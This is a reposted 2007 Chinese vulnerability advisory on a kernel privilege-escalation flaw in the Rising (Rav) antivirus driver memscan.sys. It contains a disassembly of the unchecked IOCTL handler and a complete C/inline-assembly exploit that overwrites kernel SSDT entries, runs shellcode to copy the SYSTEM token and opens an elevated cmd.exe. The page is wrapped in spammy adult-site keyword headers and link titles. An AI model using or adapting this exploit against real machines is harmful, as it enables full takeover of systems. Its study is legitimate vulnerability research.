青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

Rav 核心驅動 memscan.sys 本地權限提升漏洞

創建時間:2007-07-17 更新時間:2007-07-17

Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date:    2007-07-17


近期在發現symtdi權限提升的漏洞的基礎上,對瑞星的驅動程序也進行
分析,發現也存在問題,由于驅動程序中處理 IRP_MJ_DEVICE_CONTROL
例程沒有檢查用戶傳入的緩沖區地址的合法性,造成任意內核地址可寫
的漏洞,用戶可以發送惡意的DeviceIoControl的來完全的控制計算機。
請看以下匯編片段:

; int __stdcall sub_10ABE(int,PIRP Irp)
.text:00010ABE sub_10ABE       proc near               ; DATA XREF: start+2Co
.text:00010ABE
.text:00010ABE Irp             = dword ptr  0Ch
.text:00010ABE
.text:00010ABE                 push    ebp
.text:00010ABF                 mov     ebp, esp
.text:00010AC1                 mov     edx, [ebp+Irp]
.text:00010AC4                 push    ebx
.text:00010AC5                 push    esi
.text:00010AC6                 push    edi
.text:00010AC7                 mov     edi, [edx+60h]

; 這里為了效率,依然使用METHOD_NEITHER這種方式進行數據傳輸

.text:00010ACA                 mov     eax, 220023h
.text:00010ACF                 mov     ecx, [edi+0Ch]
.text:00010AD2                 cmp     ecx, eax
.text:00010AD4                 ja      loc_10C09
.text:00010AD4
.text:00010ADA                 jz      loc_10BFB
.text:00010ADA
.text:00010AE0                 mov     eax, ecx
.text:00010AE2                 sub     eax, 220007h
.text:00010AE7                 jz      loc_10B6D ;這里存在比較嚴重的問題
                               .......

loc_10B6D:
                              ; CODE XREF: sub_10ABE+29j
.text:00010B6D                 mov     ax, es
.text:00010B70                 mov     word_1329C, ax
.text:00010B76                 mov     ax, ds
.text:00010B79                 mov     word_1329A, ax
.text:00010B7F                 mov     ecx, [edi+8] ; 長度
.text:00010B82                 mov     esi, [edi+10h] ; esi = irpSp->Type3InputBuffer
.text:00010B85                 mov     eax, ecx
.text:00010B87                 mov     edi, offset unk_13080 ; 這里也沒有檢查輸入的緩沖區的
                                                             ; 長度,可以對靜態數據區進行溢
                                                             ;出, 不過你往下看你會更興奮
.text:00010B8C                 shr     ecx, 2
.text:00010B8F                 rep movsd
.text:00010B91                 mov     ecx, eax
.text:00010B93                 mov     eax, P
.text:00010B98                 xor     ebx, ebx
.text:00010B9A                 and     ecx, 3
.text:00010B9D                 cmp     eax, ebx
.text:00010B9F                 rep movsb
.text:00010BA1                 jz      loc_10CA7
.text:00010BA1
.text:00010BA7                 push    eax             ; Buffer
.text:00010BA8                 push    offset unk_13099 ; FileHandle
.text:00010BAD                 call    sub_10414
.text:00010BAD
.text:00010BB2                 test    al, al
.text:00010BB4                 jnz     short loc_10BC7
.text:00010BB4
.text:00010BB6                 mov     eax, [ebp+Irp]
.text:00010BB9                 mov     eax, [eax+3Ch] ; eax = irp->UserBuffer
.text:00010BBC                 mov     dword ptr [eax], 1 ; eax所指向的地址被寫入了1
.text:00010BC2                 jmp     loc_10CA7

到此我們已經看清楚了這個漏洞的成因,也看到了利用方法,和之前的symtdi的利用方法基本一樣.


#include
#include

#pragma comment (lib, "ntdll.lib")

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _IMAGE_FIXUP_ENTRY {

    WORD    offset:12;
    WORD    type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct _UNICODE_STRING {

USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);

int main(int argc, char* argv[])
{
NTSTATUS status;
HANDLE deviceHandle;
DWORD dwReturnSize = 0;
PVOID VdmControl = NULL;
PVOID p = NULL;

PVOID ShellCodeMemory = (PVOID)0x1;
DWORD MemorySize = 0x1000;

PROCESS_INFORMATION   pi;
STARTUPINFOA    stStartup;

OSVERSIONINFOEX OsVersionInfo;

RtlZeroMemory( &OsVersionInfo, sizeof(OsVersionInfo) );
OsVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx ((OSVERSIONINFO *) &OsVersionInfo);

if ( OsVersionInfo.dwMajorVersion != 5 ) {

  printf( "Not NT5 system\n" );
  ExitProcess( 0 );
  return 0;
}

if ( OsVersionInfo.dwMinorVersion != 2 ) {

  printf( "isn't windows 2003 system\n" );
  ExitProcess( 0 );
  return 0;
}

printf( "Rav Local Privilege Escalation Vulnerability Exploit (0 day) \n\n" );
printf( "Tested on: \n\twindows 2003 sp1 (ntoskrnl.pa.exe version) \n\n" );
printf( "\tCoded by Polymorphours. Polymorphours@whitecell.org\n\n" );

status = NtAllocateVirtualMemory( (HANDLE)-1,
           &ShellCodeMemory,
           0,
           &MemorySize,
           MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
           PAGE_EXECUTE_READWRITE );
if ( status != STATUS_SUCCESS ) {

  printf( "NtAllocateVirtualMemory failed, status: %08X\n", status );
  return 0;
}

memset( ShellCodeMemory, 0x90, MemorySize );

__asm {

  call CopyShellCode

  nop
  nop
  nop
  nop
  nop
  nop

  //
  // 恢復SSDT
  //

  mov edi, 0x80827D54
  mov [edi], 0x808C998A
  mov [edi+4], 0x809ba123
  mov [edi+8], 0x80915CBE


  mov eax,0xFFDFF124 // eax = ETHREAD  (not 3G Mode)
  mov eax,[eax]

  mov esi,[eax+0x218]
  mov eax,esi

search2k3sp1:

  mov eax,[eax+0x98]
  sub eax,0x98
  mov edx,[eax+0x94]
  cmp edx,0x4 // Find System Process
  jne search2k3sp1

  mov eax,[eax+0xd8] // 獲取system進程的token
  mov [esi+0xd8],eax // 修改當前進程的token

  ret 8

CopyShellCode:
  
  pop esi
  lea ecx, CopyShellCode
  sub ecx, esi

  mov edi,0x5
  cld
  rep movsb

}

deviceHandle = CreateFile("\\\\.\\MEMSCAN",
      0,
      FILE_SHARE_READ|FILE_SHARE_WRITE,
      NULL,
      OPEN_EXISTING,
      0,
      NULL);
if ( INVALID_HANDLE_VALUE == deviceHandle ) {

  printf( "Open RavMMSCAN device failed, code: %d\n", GetLastError() );
  return 0;
} else {

  printf( "Open RavMMSCAN device success\n" );
}

p = LocalAlloc( LPTR, 0x10 );

DeviceIoControl( deviceHandle,
      0x220007,
      p,
      0x10,
      (PVOID)0x80827D54,
      0xC,
      &dwReturnSize,  
      NULL );

CloseHandle( deviceHandle );

LocalFree( p );

VdmControl = GetProcAddress( LoadLibrary("ntdll.dll"), "ZwVdmControl" );
if ( VdmControl == NULL ) {

  printf( "VdmControl == NULL\n" );
  return 0;
}

printf( "call shellcode ... " );

_asm {

  xor ecx,ecx
  push ecx
  push ecx
  mov eax, VdmControl
  call eax
}

printf( "Done.\n" );
printf( "Create New Process\n" );

GetStartupInfo( &stStartup );

CreateProcess( NULL,
     "cmd.exe",
     NULL,
     NULL,
     TRUE,
     NULL,
     NULL,
     NULL,
     &stStartup,
     &pi );

return 0;
}



WSS(Whitecell Security Systems),一個非營利性民間技術組織,致力于各種系統安全技術的研究。堅持傳

統的hacker精神,追求技術的精純。
WSS 主頁:http://www.whitecell.org/
WSS 論壇:http://www.whitecell.org/forums/

posted on 2007-07-20 12:14 葉子 閱讀(530) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            嫩草影视亚洲| 亚洲欧美视频| 欧美一级播放| 亚洲精品美女| 亚洲电影第1页| 一区二区在线不卡| 亚洲国产精品高清久久久| 亚洲亚洲精品三区日韩精品在线视频| 亚洲国产精品一区二区www在线| 欧美激情片在线观看| 欧美精品免费在线| 久久av一区二区三区| 亚洲日本在线视频观看| 老司机免费视频一区二区| 中日韩男男gay无套| 亚洲女同同性videoxma| 久久久久国产一区二区三区| 免费久久精品视频| 一区二区电影免费观看| 久久av一区| 欧美日韩一区视频| 激情久久影院| 亚洲一区二区网站| 欧美va亚洲va香蕉在线| 中文精品视频| 蜜臀av性久久久久蜜臀aⅴ四虎| 亚洲欧美日韩在线综合| 久久久精品性| 国产精品久久久久久av福利软件| 欧美成人免费va影院高清| 久热成人在线视频| 国产精品日韩欧美大师| 亚洲激情国产精品| 久久精品视频在线观看| 蜜臀va亚洲va欧美va天堂| 乱码第一页成人| 欧美午夜电影在线| 亚洲国产成人久久综合| 久久av在线看| 日韩一二三在线视频播| 欧美成人a∨高清免费观看| 国产亚洲精品资源在线26u| 一区二区精品| 亚洲成人在线视频播放| 亚洲一级二级在线| 欧美伦理视频网站| 亚洲人成在线播放网站岛国| 老鸭窝毛片一区二区三区| 免费不卡欧美自拍视频| 亚洲无限乱码一二三四麻| 欧美承认网站| 国产精品福利网| 日韩午夜在线| 亚洲第一黄色网| 麻豆国产精品一区二区三区| 今天的高清视频免费播放成人| 在线欧美电影| 久久蜜桃精品| 久久久久国产一区二区三区四区| 欧美sm重口味系列视频在线观看| 模特精品裸拍一区| 亚洲第一区色| 免费欧美视频| 欧美mv日韩mv亚洲| 99这里有精品| 亚洲精品美女在线| 欧美日韩在线综合| 午夜在线a亚洲v天堂网2018| 国产精品99久久不卡二区| 国产精品ⅴa在线观看h| 亚洲欧美日韩精品久久久| 亚洲欧美日韩在线播放| 国产一区二区三区精品欧美日韩一区二区三区| 欧美一区二区三区男人的天堂| 麻豆精品国产91久久久久久| 欧美一乱一性一交一视频| 国内精品伊人久久久久av影院| 亚洲国产欧美一区| 欧美国产乱视频| 欧美激情中文字幕在线| 亚洲免费小视频| 欧美尤物一区| 亚洲精品少妇| 亚洲一区二区三区在线| 欧美韩日亚洲| 午夜激情综合网| 久久亚洲电影| 亚洲一区二区三区四区五区黄| 欧美激情视频给我| 欧美日精品一区视频| 亚洲国产高清一区| 久久国产精品网站| 久久久久九九视频| 一区二区成人精品| 欧美影院视频| 国产亚洲午夜| 亚洲欧洲三级| 国产精品久久中文| 国产欧美精品一区| 久久综合伊人77777尤物| 久久综合色播五月| 国产亚洲欧美日韩在线一区| 免费欧美日韩| 国产精品自拍视频| 亚洲国产一区在线| 国产一区二区电影在线观看| 亚洲激情图片小说视频| 国产欧美精品在线| 亚洲精品美女91| 亚洲电影第三页| 香蕉久久一区二区不卡无毒影院| 欧美午夜精品久久久久久超碰| 亚洲精品乱码久久久久久久久| 老司机一区二区| 国产精品成人一区二区艾草| 欧美高清视频www夜色资源网| 久久久最新网址| 午夜国产精品视频免费体验区| 亚洲网站在线播放| 亚洲韩国日本中文字幕| 亚洲国产毛片完整版| 国产日韩欧美成人| 久久综合影音| 国产欧美在线观看| 亚洲视频一区二区免费在线观看| 国产精品久久夜| 亚洲精品日本| 亚洲看片一区| 欧美成人网在线| 欧美顶级艳妇交换群宴| 亚洲高清三级视频| 黄色日韩网站| 欧美一区二区视频免费观看| 亚洲男同1069视频| 国产精品成人一区二区三区吃奶| 亚洲欧美色婷婷| 国产精品国产三级国产普通话三级 | 久久精品一区四区| 久久精品麻豆| 久久精品中文字幕免费mv| 国产精品无码永久免费888| 久久噜噜噜精品国产亚洲综合 | 一区二区三区偷拍| 99re这里只有精品6| 欧美精品1区| 亚洲伦理精品| 在线中文字幕一区| 亚洲欧洲三级电影| 99精品欧美一区二区三区综合在线| 国产精品99久久久久久www| 国产日韩欧美在线视频观看| 亚洲一区二区三区在线播放| 欧美在线高清视频| 国内伊人久久久久久网站视频| 亚洲精品久久在线| 一区二区三区国产在线| 国产精品久久久一本精品| 欧美一区二区国产| 欧美大片一区| 亚洲影院在线| 狠狠色伊人亚洲综合成人| 一本色道久久加勒比88综合 | 国产精品99久久久久久宅男| 欧美区国产区| 亚洲主播在线观看| 久久手机免费观看| 亚洲精品久久久久久下一站| 欧美日韩综合在线免费观看| 欧美激情性爽国产精品17p| 日韩亚洲不卡在线| 麻豆成人综合网| 99热精品在线| 久久中文字幕导航| 亚洲特黄一级片| 一区二区在线观看视频在线观看| 亚洲图片激情小说| 免播放器亚洲| 亚洲综合国产| 最新成人av网站| 国产一区二区三区四区| 欧美精品成人| 久久男女视频| 蜜桃av一区二区| 亚洲一区不卡| 亚洲精品国产欧美| 国产综合色在线视频区| 欧美日韩国产不卡在线看| 久久精品人人爽| 麻豆九一精品爱看视频在线观看免费| 国产精品亚洲不卡a| 免费成人高清| 久久精品国产第一区二区三区| 久久久99精品免费观看不卡| 亚洲啪啪91| 欧美巨乳在线| 久久全球大尺度高清视频| 午夜在线观看免费一区| 欧美成人免费全部| 久久亚洲精品中文字幕冲田杏梨| 精品动漫3d一区二区三区|